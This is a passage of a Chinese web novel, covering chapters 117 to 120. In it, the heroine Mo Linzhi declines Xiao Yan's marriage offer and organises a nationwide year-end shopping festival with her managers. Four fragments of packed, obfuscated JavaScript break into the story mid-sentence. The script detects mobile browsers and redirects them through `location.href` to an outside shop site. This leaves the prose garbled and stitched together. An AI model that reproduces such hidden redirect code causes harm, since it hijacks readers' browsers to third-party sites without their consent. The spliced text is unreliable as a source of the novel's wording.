“这次能这么顺利攻下皇城，有你一半功劳。前些日子，每天站在城门之上，我的心里都有着同一个念头——如果身侧有你相伴就完美了。小知，这次回皇城，我除了给母妃准备了鸾驾，也给你准备了，你······愿不愿意，以另一种身份随我回去？” 莫林知唇角弧度渐深，她移开目光，避而不谈：“王爷，您累了，应该等休息好了，再谈其他。” “不，如果不能从你这里得到一个明确答复，我绝不能安枕。” 他这么说，莫林知默了。 她本想体贴一点，别在这个时候扫兴，也别因为自己的答复而让他坐卧难眠。但，人嘛，本身就是得陇望蜀的生物，她也能理解。 莫林知抬脚朝着自己院子走去。既然要谈，那就选个安静人少的地方，好好谈清楚吧。 院子里，晚香远远看见两人一起进来，一见莫林知的眼神暗示就立马知机地躲出去了。 听着身后的那道关门声，莫林知停住脚，转身对上他希冀的目光，微微一笑，果断且坚决地回复：“抱歉，我不愿意。” “我很感激你给的这个合作机会，也很感激你交付的全然信任，让我能重新大展拳脚，弥补了曾经的一些遗憾。但是很抱歉，我不是那种能安于一宅一院的性子，所以，我想要自由。” “果然······”萧衍眼中闪过一丝了然，但尤有不甘，“可你对我明明是有感觉的，是因为那一次爽约吗？所以你就彻底放弃了这段感情。” “不是，应该说，我的人生目标从没变过。但是在沧澜城，意识到你对我的感情时，我确实是欣喜的，哪怕是现在，你出兵在外，我会担忧成疾，一半是怕我的出现会改变你原有的人生，让太妃娘娘伤心难过，另一半也是因为我自己在乎你。萧衍，你信任我，尊重我，从不曾以性别之见而轻视我，这一切美好的品质，都让我情不自禁对你心动。” 轻柔地将内心情感袒露时，莫林知脸上的神情是温暖而珍惜的，这样的真诚一点点也抚平了萧衍的不甘，让他卸下急躁，放松心防，听她慢慢细说。 “这么多年，我只对你一人心动过。可是，这样的心动，好像完全不能弥合我对这个世界的失望。萧衍，我太累了。从小到大，因为爹娘生养了我，所以我只能不断迎合他们的期望作为报答，直到我还清为止；而基于这一点，我在职场也只能不断往上爬。我被人狠狠背叛过，一度从头再来，也违心的同流合污过，排除异己，你知道那种整个生活完全不是你想要的感觉吗？就好像陷在一片沼泽里，我只能用力挣扎，才能摆脱不同身份带给我压力。” “我曾经快成功了，我赚到了足够的钱，我用其中一部分买断了为人子女的责任，将这个身份从我身上剥离，而剩下的，也足以让我继续剥离职场的身份和责任······但是老天爷玩我，他把我扔到了一个完全陌生的世界，让我一贫如洗，从头来过。” 说到这里，莫林知脸上闪过一抹苦笑：“你和太妃娘娘是我生命中的贵人，让我重新认识了亲情，可责任就是责任，它是沉重的。那天爽约的事情发生时，我发现曾经累积的那些疲惫半点没有消失，它们一直存在。萧衍，不管我多喜欢你，我都不想再承担任何身份了，不管是你的妻子，还是一国之后，我都半点不想要。我只想要没有束缚，自由自在的人生。” “从此以后，天高任我飞，海阔任我游。我想要在一种完全无负担的情况下，去重新寻找活着的意义。” 或许转了一圈，她可能还是会回到原点，重拾旧业。可即便如此，那对她来说，也是不一样的，一个是随波逐流，一个是从心选择。 但不管怎么样，她需要一个彻底排空过往负累，重新出发的过程。 莫林知的一番自白说得很恳切，也很清晰了。 听到她说喜欢自己，萧衍是开心的，只是这样的开心，在最终的结果面前转瞬即逝。 更无奈的是，他知道，自己是怎么都打动不了她的了。明白这一点时，萧衍脸上浮现出一丝苦笑——当初对她的爱慕始于才华，陷于人格，而今，也败于人格。 她真的太清醒果决了，知道自己想要什么，放弃什么，且勇往直前，绝不后悔！ 这是那个世界带给她的独有魅力吗？ 这一刻，萧衍突然有些好奇，想去那个世界看看了。 但也只是想想而已，这样的奇遇，从古至今也只有眼前一人遇到过······可这样的人出现在了他身边，这算不算是老天爷给他的恩赐？ 萧衍凝神思索半响，试探开口：“如果······我是说如果，我愿意放下一切陪你走你想走的路，你愿不愿意等我几年？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737495|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >莫林知：······？ 恍惚几秒才反应过他刚才说了什么后，莫林知整个人都快裂了。 什么鬼？她难受了好几天才痛下决心断舍离，结果······眼前人不爱江山爱美人？ 有那么一瞬间，脑子里各种狗血桥段上演，莫林知纠结半晌，迟疑开口：“那什么，你不会是想生个继承人然后和我远走高飞吧？我先说啊，我不接受一夫多妻妾。” “我没有！”萧衍立马叫屈，“我就是想着等萧瑾历练出来，皇位交给他就好了。” 莫林知：原来是想坑弟。 一时之间，她都有些不敢面对萧瑾。 但这个提议还是很心动的，谁不想鱼与熊掌兼得呢？不过考虑到人的善变，莫林知还是没把话说死：“我觉得还是顺其自然吧。回皇城后我会把最后的工作收尾，然后就准备出发了。至于其他的，时候到了自然就见分晓了。” 说完对上他紧皱的眉头，莫林知噗嗤一笑，抬手重重碾平眉心那一个“川”字：“别愁眉苦脸的了，对自己有点信心。” 说得轻巧，毕竟为情所困的不是你。 萧衍心一时狠一时软，来回摇摆。他抬眼，看着眼前人笑脸如花的模样，终究是长叹一声，再退了一步：“那你要是出去，我给你安排一队人马。” “可以，但不能超过5个，另外，我想带上晚香。” 她这么爽快的样子倒是让萧衍宽慰些许，面色终于缓和了，见此，莫林知也心下稍安。 虽然了解萧衍的秉性，可人终究是会变的，她还真不敢赌一个皇帝的心是不是和以往一样宽宏大量，能有现在的局面，已经是她预想的最好结果。 感恩老天爷，感恩姓萧的人~ 莫林知偷偷拜了拜，然后推着萧衍回去休息。 最关心的事情有了还算满意的答案，萧衍确实想歇一歇了，不过临出门时，想起回来路上的打算，他最后交代：“后天早点起。” “干嘛？”莫林知顺嘴问了下，同时脑子转得飞快，很快明白他的意图，“······你不会是想弥补之前的那个游玩计划吧？” 见他那副神色，她就知道自己猜中了，满心无奈。 ——真是败给他了。 不过，不管是出于安全还是各方面考虑，莫林知都拒绝了：“我真的由衷感谢，但没必要，真的没必要。季节不对时机不对心情也不对，你啊，还是早点忙正事吧！” 现在真正的自由就在眼前了，谁要为了过去一点小事耽搁啊！！！ 她一边推着人往前一边念叨：“求求了，尽快启程好吧，我这一摊子事儿呢！” 说着手上一用力，将人推到岔路口的另一端就不动了，冲着回头的萧衍用力挥手。 从他脸上的表情就知道，估计这人心里正吐槽自己冷心冷肺没良心。 但是whocare~她马上就要圆梦了哈哈哈哈哈哈哈哈~~~~~ 118. 善终 送走萧衍后，莫林知在原地高兴了一会儿，转头扎进了书房。 既然心愿得成，那她也该善始善终，完成这张物联网的最后一步：年终购物节！ 刚好，这次赶到皇城差不多就8月了，要是她速度快，说不定还能赶上新帝登基的东风。再加上百姓刚经历战火，百废待兴，这个年终购物节兴许能给大家撒点实惠~ 莫林知将之前的规划半成品拿出来修修改改弄到半夜，第二天一早就给见闻飞毛腿各位管事和当初质押在北境的人质们下了召集令，那态度积极得，堪比业务开始之初。 连头发都恢复成了最初的高马尾，干练极了。 小院不比会议室那么正式，但胜在环境安全。莫林知见人到齐，将手中的资料发下去，给了一炷香的时间让他们先看，看完了才开始讲解： “改朝换代，最苦的还是百姓，我想，不管是同为人的同理心，还是作为新帝的忠实拥趸，我们也该竭尽全力，帮助全国上下尽快恢复经济。所以，为了庆祝盛世起航以及百姓新生，我决定，在11月1日做一档年度大型活动：年终购物节。” “名字就叫‘年终购物节’，直白好理解，以后每年一次不间断，是《优选》和飞毛腿最盛大的一次活动日。全国上下所有入驻《优选》和飞毛腿的商家需全力参与，在这场活动中，我们将实现商家、平台和买家的三方共赢。” “我先说一下活动的大概要求。”莫林知拖来可移动大黑板，写下“周期”俩字：“正式购买时间是11月1日至11月7日，为期一周，但是在那之前，我们要至少提前1个月开始进行预热，也就是说要一点点放出活动的消息。例如活动的力度，推荐的产品等等，有必要的话可以提前做预售统计，方便商家备货。预售的时间你们自己定。” “接下来是活动能提供给买家的权益：第一、我们能保证所有商品的售价是全年最低的价格。第二，活动期间的订单，飞毛腿的配送费用全部5折。第三、拿到货品后，若是买家不满意，可当面退还。这三点必须保证，写进契约作详细注释，至于其他的你们各自去谈，能谈下多少就看你们自己的能力了。” “当然，上述三点，让利的主要是商家，我知道在坐的部分人心里要嘀咕了——傻子才会配合。所以接下来，我要说的是平台提供的权益了。这个权益暂时没有固定死，你们可以从商家的立场和平台的立场多方考量，看怎么完善。” “我刚刚有说，提前1个月预热对吧，从预热到结束，《优选》将承诺所有配合的商家至少3次的免费露出，除此之外，《优选》将向《生活》、《时事》外采多篇内容帮助商家一起宣传，这里的商家我们会选择各类目让利最多的前十名进行透出。甚至活动结束，我们会综合让利、销量、退货率等各方面的成绩，评选“惠民商家”上达天听，皇室将通过《时事》对这些商家加以表彰。” 最后一句话音落下，那些质子的眼神都变了。 生意做到一定程度，往往就不是钱的问题了。若是能在《时事》上被皇室表彰，那基本就等于名扬天下——这才是最大，最有底气的广告，甚至关键时候，它还能成为一道护身符。 皇室钦点的“惠民商家”，总不至于还是谁都能上来踩一脚的了吧？ 莫林知眼神从他们的脸上溜了一圈，很是满意他们现在的眼神。 这就对了嘛，在座这些质子背后的家族，既是平台合作方，也是目前入驻的最大商家，他们先摆平了，其他就好说了。 给了他们一点时间消化，莫林知拍拍手，开始进入下一步：“针对我上述所说的，大家会后再各自想想有没有什么漏洞或者其他好点子想补充的，明天给我一个答复，我们最后做一遍整合。接下来我们往下推进，看看排期。” 莫林知说着转身将刚才一通讲解的关键词全部擦掉，在黑板上画了一条横线，标了几个点： “马上8月，从现在开始到10月预热，总共只有2个月。这两个月，刨去你们路上的时间其实也就没几天了，所以你们的任务很重。第一，尽快将物联网修复好，并进入到第二阶段，引入更多商家。我知道现在是特殊时期，所以对待那些小型商家摊贩，可以给出短期的特殊政策，帮助他们尽快走上正轨。第二，你们要游说并盘点所有商家的主推品和折扣信息，整理汇总，给到《优选》。第三，《优选》必须要提前规划好从预热到售卖期间的发行版面，发行频次以及外采内容费用等——你们的任务也很重，因为在那之前，你们还得先帮助其他各地的《见闻》进行分刊，属于双线并行了。” 这个节奏，听着好像就几件事，但是仔细考虑下去就会发现很烦乱，尤其是何梅和晚玉这边。 《见闻》分刊是做过一遍的事情了，还算熟练，可是年终购物节是全新的板块，何梅要重新规划版面内容安排，针对预热、预售、正式售卖期做不同的内容宣发计划，属实繁琐。尤其她这边还属于信息中下游，时间上也很被动。 所以莫林知在时间轴上点了一下，着重强调：“飞毛腿这边不要觉得10月1号前把商家的信息盘点清楚就够了，你们要考虑到《优选》这边的内容制作和印刷时间，所以你们的所有数据、所有信息都必须是前置性的，懂吗？” “了解。”林显和萧凛点头。 “这份时间排期，我建议你们一起做。每个环节双方该怎么配合，每个时间点双方要交出什么物料，物料的标准是什么，越详细越好，最好是傻子看了都能直接实操的那种。毕竟偌大地域，你不可能每个地方都亲力亲为！后天睡觉前，我要看到这份详细的规划，有问题吗？” “没问题。”所有人利落应下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742707|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然难度已经可以想见，但每个人脸上没有半点勉强，反而跃跃欲试，一脸迫不及待。莫林知看着他们的状态，恍若回到了刚入这一行时经历的第一个购物狂欢节。 8月准备，10月开始进入落地执行。仅内容端，就要和活动端一起盘点主推货品、整理核心卖点、使用场景、切入话题等，然后开始没完没了的审稿盯数据盯评论盯直播。 几乎每天都晚上11点才走，周末也不得安宁。 但是那会儿没人会觉得累，因为这个行业还处在上升期，还有大面积的未知领域等着这些新人开拓。没有那么多弯弯绕绕的幺蛾子，只要钻研，每个人都有可能凭借成绩一战成名。 兜兜转转十几年过去，她已经对这个行业失去热爱的时候，却将这片蓝海带给了这些人。 感慨一笑，莫林知掏出自己画的一张简易地图：“那我们先提前分一下地域。北境已经完全成熟，交给底下人即可，皇城和周边6个城由我和黄家人负责。齐铭，你辛苦点，江南和东南沿海一带就交给你和杜衡一起，剩余地区就由何梅和晚玉负责。至于西南和西北，我等会和龚煊商量一下。以上，就是我今天的主要任务。但是！还有个次要的。” 莫林知指指院子一角魏安送来的飞毛腿专用货车说：“这个是我想给所有跑腿配备的工具，图纸可以免费共享，但是这个轮胎是西南专供。你们走之前，每个人带一辆走，回去和各地的合作方商量商量，统计个数字，我去找龚煊下单。” 说着莫林知将早就印好的图纸发了下去，顺便让人将给他们准备的自行车送到府门口。 一群人走着来，领了一堆沉重的任务，没想到还能骑着车回，顿时齐齐笑开了！什么“莫管事慷慨”“莫管事你是我的神”之类的都说出口了。 ——俨然一副狗腿小弟的模样。 莫林知笑笑，挥手驱赶：“行了别在我这儿浪费时间了，你们还是想想怎么尽快做完事情能早点休息吧！” “睡什么睡啊，我决定了，今晚鏖战通宵！困了就骑车溜两圈，保证醒神~”一男子挥了挥手中那一叠资料，嚷嚷着出门了。 莫林知记得，他是西南那边几家留下的质子之一，和龚煊关系不错，两人没少上街吃喝玩乐。不过人倒是爽快，没那么多心思。看多了其他质子不经意流露的愁绪，再看这人没心没肺的样子，就觉得挺招人喜欢。 她跟着这些人一起出了门，走到街上，看见府门一角停靠的十来辆自行车，恍惚有种自己在投放共享单车的感觉。 失笑着摇了摇头，她目送着这些人离开，然后转身继续回院子写规划。 人生呐，好像就是从一个规划跳到另一个规划的过程，有点像莫比乌斯环。 不过她就快要从这个循环中脱离啦，到时候她一定不转弯，勇往直前前前前前~~ 119. 惊艳 花了一晚上时间把丽颜杯的比赛项目规划做好，第二天，莫林知主动找上了萧衍。 这几天，整个王府从上至下都忙得不行，要收拾带走的东西太多了！萧衍回来之前，萧太妃已经着手做了一部分准备，但他回来后，有些计划还是得重新盘一盘，再加上时间紧，这些日子几乎人仰马翻。 莫林知进入正院的时候萧衍正在和管家以及萧燧交代着什么，见她来了，有些意外：“还以为直到出发前都见不到你了。” “有事情要提前商量。” “果然是无事不登三宝殿。”萧衍苦笑，叹自己竟然会对她的儿女情长抱有期待。 莫林知比了个“您继续”的手势，自己先进了屋。慢悠悠地吃了两盏茶，萧衍终于进来了，就近在她旁边的位置随意坐下：“说吧，什么事情。” “关于现在手头的生意，虽然我走之前会把管理层的框架给您搭好，但是名义上，还是要有一个人替代我现在的位置。这个人不一定会做事，但一定要能压得住底下人。” 听她想聊的居然是这个，那一瞬，萧衍满心失望，一度想罢工请她离开，但忍住了。 即便理智尚存，但也不多，萧衍不说话，眼皮耷拉着地自顾自喝茶，将“不想搭理”摆在了明面上了。 可惜，从业这么多年，莫林知见过的无赖手段太多了，就萧某人这段位，简直就是空中一粒浮沉，挥手可灭。 没办法，谁让他是个有责任感的人呢？这样的人就是容易被人拿捏~ 莫林知心下哼笑，面色如常地将自己做的规划摆在了茶几上：“总部的选址需要等我进入皇城后再敲定，但是目前的几个核心人员是基本定了的，《见闻》由齐铭、何梅、晚玉三人负责；飞毛腿是林显和萧凛；火锅店是吴大掌柜，我问过了，他愿意居家随我们一起去皇城重新开始，除了之外，他还会带一个厨师，作为菜品研发跟着我们一起走。但以上这些都是业务层面的，我还查账房，这个部门的人员，我建议由你的亲信来担任。” “最后就是总管事。”说到这里，莫林知抬头，看向不发一语眼神都不给自己一个的萧衍，诚恳建议，“其实我预想中最好的人选是太妃娘娘，不需要她亲自出面，哪怕是身边的女官也行。” 萧衍沉默良久，不甘不愿地面对这个现实：“你最迟会呆到多久？” “过完这个年吧。” 那就是还有小半年。 萧衍略略松了口气，终于有了处理这些杂事的心思：“我知道了，账房就用王府目前的人员，我会跟他们交代好，母妃那边我也去商量一下。” 如此甚好，这样，也省得莫林知自己去解释“为什么要找个人替代自己”这样的问题了。 这一年，她享受着萧太妃亲人般的慈爱，到头来却要离开，甚至后面还要厚脸皮地托付弟弟······想想都觉得不太好意思。 莫林知轻声说了声“谢谢”，知道他心情不太好，不想步步把人逼紧了引起人的逆反心理，遂起身安静离开。 回到小院后，刚才还在正院扮演苦情文艺女的人立马撒欢了：“晚香，咱们东西收拾得怎么样了？” 晚香从厨房冒出来：“衣服什么的都收好了，就是书房我没敢动，等你安排。” “成，拿给我弄三个箱子来，一大两小。” 接收到晚香“没问题”的信号后莫林知步履轻快地蹦进了书房。 首先需要整理的就是抽屉的一些规划。例如丽颜的合作计划以及‘丽颜杯’项目，等到了京城还要邀请黄家主事人和颜丽一起敲定的。其次还有商家入驻合同模板、人才聘用合同模板以及总部的图纸规划之类的，还有明后天和齐铭他们把购物节的细节敲定好后，也要归到这一档。 莫林知在上面贴了张纸，写下“购物节资料待补充”几个字，然后开始整理需要归档的那些。 归档的这些部分是类似出差申请、出差报销之类留待后续勘察的凭证，剩下的都是一些流程化的依据。例如各管理层的述职报告、还有各岗位的职责划分、能力需求，以及面试招聘流程等等。 之前齐铭提出的层级划分和人员配备等相关管理条例也在里面。这一类资料主要是留给后续管理人的，给他们一个做事依据，不至于两眼抓瞎。 将这两部分重要资料收好后，莫林知两眼放光地站在书架前，搓着手朝她最最重要的东西下手了——当当~就是她和晚香一起搜集的那些游记了。 看完了做过批注的放最底下，还未看的放中间，路上想随手看的放最上面，完美~ 莫林知在这个小箱子上贴了个纸条，标注了“随身放置”，然后看着一扫而空的书房，满足感油然而生！ 在她的高效作业下，她的过去、将来，都被井井有条地梳理好了~怎么办？有种迫不及待现在就出发的冲动~~ 莫林知抚了抚胸口，暗暗高速自己要克制！她将“善始善终”念了几遍，平复了心中那股冲动，这才着手，将几个箱子搬到院子里。 晚香端着汤碗出来，看了眼满满当当的院子，脸上也忍不住露出一丝期待：“王爷有说什么时候出发吗？” “就这两天吧，所以你这边还有什么要带的再梳理一下，晚玉那边也记得提醒一下。” “行，我晚点跟她说一声。” 不过这个“晚点”，终究是实现不了了，这一晚，晚玉没有回来。 莫林知看游记看到半夜，直到宵禁了，也没等到晚玉的影子。她皱眉思索半响，还是找晚香一起带着几个食盒坐上了王府马车出门了。 虽然天下已定，但定安城中的戒备依然没有放开。一路上，哪怕马车上挂着王府的旗帜，也依然面临了好几拨核查。 就这么一路过五关斩六将地抵达见闻，推门看见里面灯火通明，人影闪烁，莫林知心底的担忧才彻底放了下来。 她和晚香一人两个食盒地踏入会议室，对惊喜万分的一干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749945|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人等笑道：“还真准备通宵啊？先吃点东西休息下吧。” “嗷~~太感谢了，正饿着呢，可惜这个点，想吃啥都没有了。”一个摊在椅子上奄奄一息的人立马翻身跃起，直奔食盒。 “门外马车上还有几个，你们去拿过来吧。”莫林知笑吟吟地吩咐，齐铭就带着几个大男人出去搬东西了。 六个食盒，其中四个都是菜肉，2个是点心，还有一大包馒头。除此之外，莫林知还带了点熬糖水的食材和一点大米，想着要是不够吃，可以煮个粥之类的。 何梅和晚玉不太想吃馒头，两人商量后，就带着那包红豆百合之类的东西去了厨房，准备给自己煮个甜粥。 莫林知看他们吃得香，也不打扰，径直坐到了上首，随意翻了下面前这两刀草稿纸。 左边一刀厚厚的显然是已经商定的，上面根据莫林知白天的要点做了详细扩充。例如商家入驻，上面根据人们日常的衣食住行，将每个类目都列了出来，然后划定了最低的商家数量——这个也就是齐铭他们给自己设置的挑战了。要在这么短的时间内拉入这么多商家进驻，可以想见有多难，但是齐铭上面列的计划是每到一个城县就召开“商家大会”，当场讲述，当场签约。 为了逼单，他还根据不同的签约时间做了不同的权益划分。所以相应的，在《优选》和飞毛腿能提供的权益这一块，他们也做了非常多的细化。 商家入驻签约时间可以分为体验期（仅参与此次年终购物节），磨合期（一年）和忠诚期（3年起步），针对不同的合作时长，提供不同的权益福利。有眼睛的都能一眼看出，最划算的是体验期，其次是忠诚期。而同样是体验期，当日内签约和第二天签约的福利又不一样了。 且签约时间仅限2天，过时不候。当然，根据长期规划来看，之后每年7月左右都会开放一次商家入驻意向期。在这个月份，物联网将对已经入驻的商家进行统一筛查，剔除退货率过高的商家，并重新引入新的商家。双线并行，一个月完成所有调整。新入住商家将在8月获得一次免费的《优选》透出。 对于商务来说，自己手头签约的商家优质率和新入住商家的数量也将直接挂钩绩效。所以，从这一点约束上可以看出，齐铭对商家的数量是有最低限制的。 说实话，这一点和莫林知之前的设想稍有出入。因为在决定做的时候，莫林知就知道，时间紧，任务重，第一届‘购物节’可能做不到给顾客提供琳琅满目的选择。所以她的设想是，利用合作伙伴背后的商户网络，先满足所有类目的铺量即可。 倒是没想到，齐铭的自我要求和自驱力比她想象的更高。看着眼前这份详细的规划，莫林知毫不怀疑，当她拿着这张纸执行时，会有多畅快。 而且，他的规划，是一环扣一环的。 做第一届‘购物节’，莫林知已经做好了平台亏本引入商家的准备，但是从齐铭紧跟着的“货品规划”来看，他显然不这么想。 120. 序幕 按照他的想法执行，到时候每个类目的商家数量够多，势必会引起内部的竞争，那么《优选》上的货架坑位就显得弥足珍贵了。 齐铭给每个商家开放了3-5个免费坑位进行透出（数量多寡也是权益的分层之一），至于更多的坑位，则需要商家自己购买了，从预热到预售到正式售卖三个阶段，齐铭将开放三次竞争机会，每个城每个类目20个坑位，县（包涵镇）10个坑位，全国统一透出。 所以，为了配合这一点，何梅这边的《优选》做了详细的调整。 ‘购物节’期间，正常售卖版面不变，但是将会额外增加“特殊发行刊”，头版头条是活动的整个进程介绍，内里是各类目的入驻商家介绍和招牌产品展示。而这个地方，又对应了一张额外的物料表：商家入驻资料单。 里面包含150字的商家介绍，招牌产品图像（画师手绘），500字产品亮点介绍、产品成分、产品工艺、产品价格、购物节特惠价、每月产量、购物节最大货量，购物节后可补货量（用于现货改预售模式） 到时候，何梅手下的创作部将根据这些基础信息，对内容进行二次精炼，加以透出。 新入住的商家是没有排行榜的，但是销量本身也是该产品最直观的展现，所以何梅在每个产品下额外增加了一个标注：当前库存（xxxx/xxxxxx） 对于齐铭那边的“付费购买坑位”，何梅无师自通地发起了“品类日”的规划：免费坑位透出完毕，每日还会根据不同品类将货品进行付费坑+免费坑位的二次整合推广，方便大家检索到自己想要的东西。 还有其他的物流配送等等，从进度来看，尚在讨论中。但是仅目前的成果，已经足以让莫林知震撼——这群人才是真正的天才。 给他们一个支点，他们恐怕真能撬动全世界。 不过······ “你们这个规划简直是在玩极限求生啊！照这么做，商务部、信息部、创作部、审核部几乎是环环相扣，这要是有一个人掉链子，那就全部崩了！” “但是成果很可观不是吗？如果成功，那这个月每个人的绩效恐怕能抵得上三个月的薪水，我不觉得会做不好。”齐铭放下碗筷，努力辩争。 “但是这样做，就会变成无止境的人力消耗战了。”莫林知轻声反驳，“齐铭，我很欣赏你进取的态度，但不是每个人都和你一样对工作抱有这么大的热情的。” 在他怔愣之时，莫林知微微一笑，柔声劝道：“你们在坐的各位，要么是凭自己的能力坐上了高位，要么是天生富贵，家族使命等等加诸于身，所以对你们来说，这个岗位，是你们终生的事业和责任。但是对于大多数普通人来说，一个岗位，仅仅就只是混口饭吃的工具而已。” “任何人的欲望是不一样的，有些人可能只是想求一份温饱，供孩子读书，又或者闲暇时能带给家人一起出门游玩，节日时能有余力给家人送上一份珍贵的礼物。再者说了，工作对于每个人的回报也是不一样的。就像同样的时间投入，你可以坐在这里一声令下号令成千上百人，而有些人却只能风里雨里奔波，拿一点早就决定上限的薪水。” “当然，你也可以说，你的成就是自己闯出来的。我不否认，当初这么多人，你确实是最优秀的那个。可是大多数人都是普通人，难道就活该为了上位者的野心和目标牺牲吗？你有没有想过，上工与生活之间的失衡，可能会泯灭他们对生活的欲望？超负荷的运转，甚至可能让他们中的有些人猝死。” 说到这里，看着沉默深思的十几张面孔，她突然自嘲地笑了：“其实我好像也没资格说这些，毕竟，今晚你们通宵的源头在我。” “不，这只是临时情况，我······”齐铭慌忙摇头，想帮她开脱。但千言万语堵在喉咙，他说不出口。 心尖滚烫烫的，似乎有什么欲要喷薄而出。 是他的问题，他怎么忘了，眼前人，是宁愿自己把工作带回府，也要准点下工，就为了不给他们造成压力的人。 他一直以她为目标，一刻不敢懈怠，努力吸取那些闻所未闻的手段，努力完成每一个交代的任务······可能是自己追逐得太投入，太急于成长地想证明什么，以至于忘了，她身上当初最最最打动他的那一点，是同理心。 齐铭咽了咽口水，堵住眼眶的热意：“抱歉，稍后我会重新调整出一个简易版的规划。” 闻言，莫林知挑眉：“为什么要改？这么完美的计划，哪怕是让我自己写也写不出来。” “啊？”齐铭错愕。 “多招人不就好了。一个做要12个小时，两个人分工不就只需要6个小时了。”莫林知敲了敲这堆草稿，“你只需要根据目前的工作量，重新核定一城一县的人员标准就好了。正好，也增加一些岗位，造福百姓。” “可······活动结束，这些人不就空着了？” “那就多增加几档活动！有年终是不是也能有年中？再说了，这么多节日，商家自己难道就没有庆祝活动吗？”说到这里，莫林知连忙补充，“不过‘购物节’的最低价还是要保证的哈，所以日常可以搞点赠品嘛，比如新品派样之类的。要是想图方便，你们可以直接把活动力度分为甲乙丙几等，年终购物节为甲等，其他的根据重要程度安排为乙等或者丙等。不过这些都是后话了，目前你们要是吃完了，就找个地方躺一躺休息一下，这个规划，醒了再慢慢完善吧，我看你们进度也快了，不差这几个小时。” 几人面面相觑，不懂这话题怎么就跳到他们休息上去了，明明刚才还那么沉重发人深省。但······确实蛮累的，吃饱了就容易犯困，老话诚不欺我。 而且，这种被人松绑的感觉真的不赖。 几人乖乖将碗筷放到厨房洗了，互相打过招呼各自找地方去睡了。办公地方环境简陋，不过几人跟着长辈外出行商，露宿野外也是有的，所以大家把椅子拼了拼，勉勉强强也能睡。 整栋宅子霎时安静下来，就连晚香也撑不住，趴在桌上睡了。会议室内，莫林知却拿起了另一叠草稿，开始顺着他们未完成的部分写起了规划。 不一定够全面，但应该是可以帮着节省一点时间的。 过了会儿，齐铭走了进来，在莫林知惊讶不赞成的目光中，他笑了笑，拿起另一叠纸笔写了起来，俨然一副坚决要“同甘共苦”的样子。 莫林知无奈，随他去了。 又过了半个时辰，陆陆续续有人走了进来，大家熟门熟路地回到自己的位置，回到刚才的议题，进入小声讨论阶段。 莫林知看着眼下的草稿，片刻后，哑然失笑。 这一刻，她仿佛看见每个人的“磁场能量”被不断放大、放大、再放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759290|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大，然后勾连在一起，最终形成了一个光辉灿烂的世界。 她相信，有这些人接任，禹朝的物联网，必将有一个健康长久的未来。 既然人员到齐，莫林知就将位置一让，还是让齐铭把控节奏，她则担任起了“书记员”一般的角色，及时将大家的讨论结果整理汇总。 群力群策下的效率是极高的，天边破晓时，这间会议室的进度也差不多到了收尾阶段，而从大家的神色来看，显然也到了极限。 就连莫林知自己，脑子也是真转不动一点了，机械性地记录、记录、记录，再提不出一个有新意的点子。 门外已经能听到早起摊贩的车轮轧过青石板路，发出“咕噜噜咕噜噜”的声音，小睡了片刻的晚香在莫林知的示意下出门，不一会儿，又拎了十几份热豆浆和葱油烙饼进门，然后站在院子里喊大家。 于是众人活动活动僵硬的关节，接二连三地起身。 虽然是仲夏，但北境的清晨还是带着寒气的。不过此时此刻，这样的冷空气，倒是一剂极好的提神良药。 大家坐在院子里，整个身体机能都被这冷风和香喷喷的葱油饼给催醒了，一边吃还一边提出零星建议，给刚才收尾的议题做一些补充。 借着这顿早饭，整个规划才算真正收尾。所以吃完后，莫林知就彻底解散了这群人：“后面的我整理好就会送去印刷坊，让他们今天加班加点印个百来份出来，到时候你们分一分，过两天就直接启程吧。别自己上路哈，萧凛那边会带一拨跑腿南下，你们互相串一串路线，大家结个伴。” “没问题” “收到” “那就再见啦，莫管事，山水有相逢，期待你去西南。” “我也是，莫管事，谢谢你这段时间的照顾。” 接收命令的话语里突然乱入两个道别，其他脑浆子都木了的人才后知后觉反应过来：今天恐怕是他们的最后一面了。 这一认知撞入脑海，部分人一个激灵，突然就彻底清醒了。 大家看着莫林知，不约而同沉寂下来。尤其是那些质子们，最初留下时有多忐忑，后来莫林知别无二致的态度就给了他们多大的安慰。 